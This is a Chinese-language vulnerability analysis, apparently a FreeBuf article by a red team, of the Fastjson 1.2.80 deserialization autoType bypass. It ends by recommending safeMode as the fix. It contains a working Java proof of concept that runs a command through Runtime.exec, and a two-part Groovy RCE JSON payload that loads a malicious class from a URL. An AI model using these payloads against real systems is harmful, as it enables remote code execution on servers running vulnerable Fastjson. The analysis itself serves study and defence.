freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Fastjson1.2.80反序列化漏洞分析与利用
2023-01-11 09:13:51
所属地 甘肃省

Hi,我是承影战队的111nk,Fastjson在commit中更新了security_update_20220523的修复方案。调整黑白名单的同时额外判断了Exception,并在添加类缓存mappings前新增了autoTypeSupport的判断。本文针对更新前的Fastjson1.2.80版本存在的反序列化漏洞进行漏洞复现并分析该漏洞利用的方式。

一、1.2.68修复

在复现fastjson1.2.80反序列化漏洞之前,先看一看fastjson针对1.2.68的修复,对过滤的expectClass进行了修改,与1.2.68相比,新增了3个新的类,并且将原来的Class类型的判断修改为hash的判断。

1673232090_63bb7eda6d01eadb27719.png!small?1673232091093

1673232103_63bb7ee773dc39fe976dd.png!small?1673232104312

通过查询黑名单https://github.com/LeadroyaL/fastjson-blacklist可以得知分别为:java.lang.Runnable,java.lang.Readable和java.lang.AutoCloseable

1.2.68的修复方式简单粗暴,而1.2.80漏洞就利用了另一个期望类:异常类Throwable。

二、漏洞原理

漏洞原理是基于Fastjson反序列化恢复类实例时,需要恢复用到了的类属性,而CheckAutoType中期望类机制会在在实例化类属性的对应类后将其加入到类缓存mappings中。如果这个属性是可利用的类且我们可控,可以直接利用或者进一步横向扩展出其它类间接利用。依靠属性名赋值时的隐式类间关系,不再需要在JSON中显式指定@type,从缓存中取类在修复前不会判断autoTypeSupport,从而绕过了autoType的白名单检查。

三、漏洞复现

这里我们使用maven构造fastjson1.2.80的环境进行漏洞复现。

Pom.xml:

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://maven.apache.org/POM/4.0.0"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>
    <groupId>com.example</groupId>
    <artifactId>fastjson</artifactId>
    <version>0.0.1-SNAPSHOT</version>
    <name>fastjson</name>
    <description>Demo project for Spring Boot</description>
    <properties>
        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
        <project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>
        <maven.compiler.source>8</maven.compiler.source>
        <maven.compiler.target>8</maven.compiler.target>
        <java.version>1.8</java.version>

        <fastjson.version>1.2.80</fastjson.version>
    </properties>
    <dependencies>
        <dependency>
            <groupId>com.alibaba</groupId>
            <artifactId>fastjson</artifactId>
            <version>${fastjson.version}</version>
        </dependency>
    </dependencies>

</project>

Poc.java:

package com.example.fastjson.poc;

import java.io.IOException;

public class Poc extends Exception {
    public void setName(String str) {
        try {
            Runtime.getRuntime().exec("open /System/Applications/Calculator.app");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

Pocdemo.java:

package com.example.fastjson.poc;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class PocDemo {
    public static void main(String[] args) {
        String json = "{\"@type\":\"java.lang.Exception\",\"@type\":\"com.example.fastjson.poc.Poc\",\"name\":\"open /System/Applications/Calculator.app\"}";
        JSON.parse(json);
    }
}

1673232189_63bb7f3d56cc09d5cef4e.png!small?1673232189840

调试跟踪如下:

1673232196_63bb7f448f59efa0ba703.png!small?1673232197088

因为是异常类,所以在

com.alibaba.fastjson.parser.DefaultJSONParser#parseObject(java.util.Map, java.lang.Object)拿到的是ThrowableDeserializer反序列化器。

1673232206_63bb7f4eced4e60c1490b.png!small?1673232207326

由于CheckAutoType中判断当期望类不为空且符合继承关系,则返回对应类,此时返回了恶意类。

1673232221_63bb7f5d8e83e0f89e2f8.png!small?1673232222235

漏洞触发时调用堆栈可知漏洞触发点为

com.alibaba.fastjson.parser.deserializer.ThrowableDeserializer#deserialze(DefaultJSONParser parser, Type type, Object fieldName)中。

1673232231_63bb7f672328a60e7c6a5.png!small?1673232231939

setValue调用setter导致执行恶意方法:

1673232245_63bb7f759e574edefcd18.png!small?1673232246248

四、漏洞利用与分析

在目前已经公开的研究成果中,给出了可以作为gadget的条件是:

1.类为Throwable的子类;

2.setter方法的参数类型、public field参数类型或者是构造方法的参数类型,实例化之后的类可利用。

根据披露出来的研究成果,继承于 java.lang.Exception 的类能够导致的漏洞:Jdbc connection RCE、Groovy RCE、Ognl读写文件、Aspectj读文件等。作者还给了一些payload和具体的链,这里的漏洞利用分析我们以 Groovy RCE为例,Exp分为两部分:

{"@type":"java.lang.Exception","@type":"org.codehaus.groovy.control.CompilationFailedException","unit":{}}

{"@type":"org.codehaus.groovy.control.ProcessingUnit","@type":"org.codehaus.groovy.tools.javac.JavaStubCompilationUnit","config":{"@type":"org.codehaus.groovy.control.CompilerConfiguration","classpathList":"http://127.0.0.1:1000/"}}

1.首先指定显式期望类,实例化CompilationFailedException并被加入类缓存,并通过unit属性,将隐式类间关系实例化并被加入类缓存

2.后续进入构造的利用链,利用链如下:

org.codehaus.groovy.tools.javac.JavaStubCompilationUnit#init(CompilerConfiguration config,...)

org.codehaus.groovy.control.CompilationUnit#init

org.codehaus.groovy.control.CompilationUnit#addPhaseOperations

org.codehaus.groovy.transform.ASTTransformationVisitor#addPhaseOperations

org.codehaus.groovy.transform.ASTTransformationVisitor#addGlobalTransforms

org.codehaus.groovy.transform.ASTTransformationVisitor#doAddGlobalTransforms

详细调试利用过程如下:

首先构造恶意类。

1673232266_63bb7f8adbf7393e19a1d.png!small?1673232267430

com.alibaba.fastjson.parser.ParserConfig#checkAutoType(java.lang.String, java.lang.Class<?>, int)中:

1673232345_63bb7fd94420ba1ac2dbc.png!small?1673232346011

expectClassFlag为true,所以会从classloader中加载

org.codehaus.groovy.control.CompilationFailedException拿到class,并且期望类不为空时会调用TypeUtils.addMapping(typeName, clazz)把目标类加入到类缓存中:

1673232364_63bb7fecb9db4de15f80e.png!small?1673232365425

因为是异常类,所以拿到的是ThrowableDeserializer反序列化器:

1673232375_63bb7ff72b73b0a3752b3.png!small?1673232375679

并用反序列化器拿到对应字段的字段反序列化实例FieldDeserializer。

如果value不是fieldClass类型的会进入进行类型转换,最后进入castToJavaBean,这里会调用getDeserializer(),此时参数是ProcessingUnit类clazz字段的类型:

1673232400_63bb80101e4cc6d3e7d4a.png!small?1673232400879

在getDeserializer函数中,调用自身putDeserializer函数:

1673232410_63bb801a191c628f6aee0.png!small?1673232410692

字段类型Unit在进入getDeserializer函数时会将

org.codehaus.groovy.control.ProcessingUnit put到ParserConfig的deserializers列表中。

在第二个exp打入时,对

"@type":"org.codehaus.groovy.control.ProcessingUnit"进行checkAutoType时就能拿到ProcessingUnit类而不会抛出异常了。

1673232419_63bb8023e9959ed0bc200.png!small?1673232420857

后续实例化JavaStubCompilationUnit后,会将可控参数classpathList传入org.codehaus.groovy.transform.ASTTransformationVisitor#doAddGlobalTransforms:

1673232428_63bb802cbd7508b060861.png!small?1673232429789

后续进入

org.codehaus.groovy.transform.ASTTransformationVisitor#addPhaseOperationsForGlobalTransforms实例化恶意类:

1673232438_63bb803630c01f14c3734.png!small?1673232438837

设置本地恶意类监听:

1673232444_63bb803ceeaf824783def.png!small?1673232445457

触发漏洞:

1673232451_63bb8043cd2d74f91f28a.png!small?1673232452449

五、总结

从本质上讲,Fastjson1.2.68反序列化漏洞与Fastjson1.2.80反序列化漏洞都是利用期望类对CheckAutoType防护机制进行绕过,但不管是Fastjson1.2.68还是Fastjson1.2.80的漏洞修复方式皆为添加黑名单;其实针对Fastjson反序列化漏洞,从Fastjson1.2.68版本之后有一个一劳永逸的方法-开启safeMode。safeMode,可直译为安全模式,当开启safeMode后,恶意payload在进入CheckAutoType后会在函数最开始部分进行判断后直接抛出异常,正是由于safeMode直接禁用autotype 机制,从而可以彻底解决反序列化造成的问题。

显然这种安全模式在防止反序列化造成问题的同时,也让开发者无法享受autotype机制带来的便利,而对于一些较为成熟应用系统,草率的开启safeMode,甚至有可能会导致业务上的问题,所以Fastjson这片攻防战场,仍然时刻弥漫着战火与硝烟。

六、参考链接

https://hosch3n.github.io/2022/09/01/Fastjson1-2-80%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/

承影战队

新华三承影战队,专注前沿攻击技术研究,研究方向包括web攻防、0day挖掘、红队工具开发等,长期招聘攻防研究员,简历投递:jiang.wenming@h3c.com (请注明来自FreeBuf)

# web安全 # 漏洞分析
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录